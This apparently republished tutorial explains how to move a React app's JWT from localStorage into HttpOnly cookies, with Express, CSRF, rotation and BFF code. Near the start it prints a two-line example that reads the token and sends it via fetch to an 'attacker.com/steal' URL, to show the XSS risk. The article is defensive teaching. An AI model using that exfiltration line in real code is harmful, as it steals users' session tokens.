Home / Articles

Moving a React App's JWT Out of localStorage and Into HttpOnly Cookies

Learn why localStorage JWTs fall to any XSS, how HttpOnly cookies with SameSite, rotation and a BFF shrink the risk, and which pitfalls remain in React apps.

Publisher: REACTAPP.TOP9 min read2123 words

This article is published in English.

Sources: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT

Where a React app keeps its access token decides what a single cross-site scripting bug can cost you. A JWT in localStorage can be read and exfiltrated by any script on the page; one in an HttpOnly cookie cannot, although cookies raise cross-site request forgery questions instead. Below you will find both options compared, a cookie-based setup with an Express backend, and the rotation, CSRF and Backend-for-Frontend techniques that complete it.

Two storage options, two threat models

The browser does not distinguish your scripts from injected ones, so the two usual homes for a JWT fail differently:

  • localStorage is readable by any JavaScript on the origin. The threat is XSS; mitigations are a strict CSP and sanitization.
  • HttpOnly cookies are sent by the browser and invisible to JavaScript. The threat is CSRF; mitigations are SameSite and CSRF tokens.

Why localStorage turns XSS into account takeover

Any script executing on your domain needs two lines to steal the token:

// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);

Injected code reaches React projects through more routes than teams expect:

  • dangerouslySetInnerHTML with content you do not control.
  • Compromised npm packages, as in the event-stream and ua-parser-js incidents.
  • Tampered scripts from external CDNs.
  • Markdown renderers that skip sanitization.
  • Browser extensions injecting code into the page.

JSX escapes interpolated strings, but that protection vanishes as soon as code opts out, typically to render bios or rich-text output:

// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />

Sanitizers help, yet they have had bypasses. For reference, here is the familiar localStorage client: helpers to store and read the token, and a wrapper that adds a Bearer header.

// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
  localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
  return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
  localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
  const token = getToken();

  const response = await fetch(`${API_BASE_URL}${endpoint}`, {
    ...options,
    headers: {
      'Content-Type': 'application/json',
      ...(token && { Authorization: `Bearer ${token}` }),
      ...options.headers,
    },
  });

  return response;
};

It is simple, and it cannot be made XSS-resistant, because the design requires JavaScript to read the token.

HttpOnly cookies as the default

The server sets the cookie, and each attribute closes a specific gap:

Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/;
  Max-Age=900
  • HttpOnly hides it from document.cookie and all script access.
  • Secure limits it to HTTPS.
  • SameSite=Strict stops the browser from attaching it to requests started by other sites.
  • Max-Age=900 gives the access token 15 minutes of life.

The client no longer touches the token

React drops the storage helpers and the header. The essential line is credentials: 'include', which makes fetch send cookies. On a 401 the wrapper refreshes and replays the request, or redirects to login.

// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
  const response = await fetch(`${API_BASE_URL}${endpoint}`, {
    ...options,
    credentials: 'include', // CRITICAL: Sends cookies with requests
    headers: {
      'Content-Type': 'application/json',
      ...options.headers,
    },
  });

  // If 401, try refreshing
  if (response.status === 401) {
    const refreshed = await refreshAccessToken();
    if (refreshed) {
      // Retry original request (browser auto-sends new cookie)
      return apiClient(endpoint, options);
    }
    // Redirect to login
    window.location.href = '/login';
  }

  return response;
};

In production, cap the replay at one attempt so a refresh that "succeeds" while the API still returns 401 cannot recurse forever, and share one in-flight refresh across concurrent failures, as described in the single-flight refresh fix.

The Express side

At login the server signs a 15-minute access token and a 7-day refresh token with separate secrets, stores a hash of the refresh token, and sets both cookies. The refresh cookie uses path: '/auth/refresh' so it travels only to that endpoint. The refresh handler verifies the JWT, compares it to the stored hash with bcrypt and issues a new access cookie.

// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
  const { email, password } = req.body;

  // Validate credentials...
  const user = await validateUser(email, password);

  const accessToken = jwt.sign(
    { userId: user.id, role: user.role },
    process.env.ACCESS_TOKEN_SECRET!,
    { expiresIn: ACCESS_TOKEN_EXPIRY }
  );

  const refreshToken = jwt.sign(
    { userId: user.id, tokenVersion: user.tokenVersion },
    process.env.REFRESH_TOKEN_SECRET!,
    { expiresIn: REFRESH_TOKEN_EXPIRY }
  );

  // Store refresh token hash in database (not the raw token!)
  await storeRefreshToken(user.id, refreshToken);

  // Set cookies
  res.cookie('access_token', accessToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: '/',
  });

  res.cookie('refresh_token', refreshToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: '/auth/refresh', // Only sent to refresh endpoint
  });

  res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
  const refreshToken = req.cookies.refresh_token;

  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }

  try {
    const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;

    // Check if token is in database and not revoked
    const storedToken = await getRefreshToken(payload.userId);
    if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
      return res.status(401).json({ error: 'Invalid refresh token' });
    }

    // Rotate: Issue new access token (and optionally new refresh token)
    const newAccessToken = jwt.sign(
      { userId: payload.userId },
      process.env.ACCESS_TOKEN_SECRET!,
      { expiresIn: ACCESS_TOKEN_EXPIRY }
    );

    res.cookie('access_token', newAccessToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000,
      path: '/',
    });

    res.json({ success: true });
  } catch {
    // Clear cookies on failure
    res.clearCookie('access_token');
    res.clearCookie('refresh_token');
    res.status(401).json({ error: 'Invalid token' });
  }
};

Before reusing it: import bcrypt; note that refresh hardcodes secure: true while login checks the environment; and res.clearCookie('refresh_token') must also pass path: '/auth/refresh', or the cookie is not actually removed.

CSRF in a SameSite world

CSRF abuses the fact that cookies travel automatically. SameSite fixes most of it in the browser, and Chromium-based browsers treat cookies without the attribute as Lax. For an SPA:

  • Choose Strict when frontend and API share a domain.
  • Choose Lax when users arrive via external links and should be signed in on that first navigation.
  • Avoid None unless you truly need cross-site cookies and understand the consequences.

"Site" means the registrable domain, so a compromised sibling subdomain still counts as same-site.

Adding a double-submit token

For defense in depth, the server sets a random value in a readable cookie, React copies it into an X-CSRF-Token header, and the server rejects requests where the two differ.

// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
  httpOnly: false, // React needs to read this
  secure: true,
  sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
  .split('; ')
  .find(row => row.startsWith('csrf_token='))
  ?.split('=')[1];
fetch('/api/sensitive', {
  method: 'POST',
  credentials: 'include',
  headers: {
    'X-CSRF-Token': csrfToken,
  },
});

A forging page cannot read your cookies under the same-origin policy, so it cannot produce the matching header. With SameSite=Strict and tight CORS this is often redundant, but it is cheap insurance against misconfiguration.

Rotating refresh tokens and detecting reuse

Short access tokens plus longer refresh tokens are the common baseline, but a stolen refresh token still grants days of access. With rotation, every refresh issues a new refresh token and invalidates the old one; if a retired token reappears, someone is replaying it, and the safe reaction is to revoke every session of that account.

// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
  const incomingRefresh = req.cookies.refresh_token;

  // Find user by refresh token
  const user = await findUserByRefreshToken(incomingRefresh);

  if (!user) {
    // Possible token reuse! Clear all sessions.
    await revokeAllUserTokens(user.id);
    return res.status(401).json({ error: 'Token reuse detected' });
  }

  // Rotate: Generate new pair
  const newRefresh = generateRefreshToken();
  await replaceRefreshToken(incomingRefresh, newRefresh);

  // If attacker had stolen old token, it's now invalid
  // If legitimate user has old token (race condition), they'll need to re-auth
};

Fix one bug first: inside if (!user) the code calls revokeAllUserTokens(user.id) on a null value. Real reuse detection must find the owner of an already-rotated token, usually through a "token family" record. Expect false positives when two tabs refresh at once; a short grace window helps. The refresh token strategy guide covers the server side further.

Keeping tokens off the client with a BFF

A Backend-for-Frontend is a thin server between React and the real API:

React App → BFF (Next.js API routes / Express) → Actual API

It runs OAuth flows (Authorization Code with PKCE), keeps tokens in encrypted HttpOnly cookies, handles CSRF and removes most CORS setup, since the browser only calls its own origin. In Next.js, a route handler can forward credentials to the auth service and turn the returned token into a cookie:

// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
  const body = await req.json();

  // Call actual auth service
  const authRes = await fetch('https://internal-api.company.com/auth', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(body),
  });

  const { access_token, refresh_token } = await authRes.json();

  const response = NextResponse.json({ success: true });

  // Set HttpOnly cookies
  response.cookies.set('access_token', access_token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 900,
  });

  return response;
}

A full version would also store the refresh token and check authRes.ok before parsing. A BFF fits when you use third-party OAuth such as Google or GitHub, the API lives on another domain, you want auth logic out of the bundle, or you already run Next.js.

Choosing a setup

For most same-domain SPAs, this is the baseline:

✅ HttpOnly cookies with:
   - SameSite=Strict (or Lax)
   - Secure flag
   - Short-lived access tokens (5-15 min)
   - Rotating refresh tokens (7 days)
   - Token reuse detection
   - CORS properly configure

For cross-domain APIs or mobile clients, localStorage is acceptable only if you accept the XSS risk and compensate for it:

localStorage ONLY if:
   - You implement strict CSP headers
   - You audit all dependencies for XSS
   - You don't use dangerouslySetInnerHTML
   - You have a short token lifetime (< 15 min)
   - You accept the XSS risk

For the strictest requirements or enterprise protocols, a BFF removes tokens from the browser:

 Backend-for-Frontend (BFF):
   - React app talks to same-origin API routes
   - API routes handle tokens in HttpOnly cookies
   - React never touches JWTs
   - Works with OAuth, SAML, enterprise auth
  • Mark auth cookies HttpOnly, Secure and SameSite=Strict.
  • Keep access tokens to 5 to 15 minutes.
  • Rotate refresh tokens with reuse detection.
  • Send credentials: 'include' from every fetch or axios call.
  • Pair Access-Control-Allow-Credentials: true with an explicit origin.
  • Keep cookies out of logs and analytics.
  • Clear cookies server-side in a /logout endpoint, optionally with Clear-Site-Data: "cookies".
  • Ship a Content Security Policy anyway.

A hardened response might carry these headers:

# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies"  # On logout

Wrapping up

HttpOnly cookies do not make XSS harmless: injected script can still send authenticated requests while the page is open. What it cannot do is carry the token away and reuse it elsewhere. That difference, plus short lifetimes and rotation, makes cookies the right default for web apps, with a CSP still required alongside them. CSRF is largely handled by SameSite and an optional double-submit token, while XSS remains a standing risk in dependency-heavy React code. When cross-domain auth makes cookies awkward, build a small BFF instead of falling back to localStorage.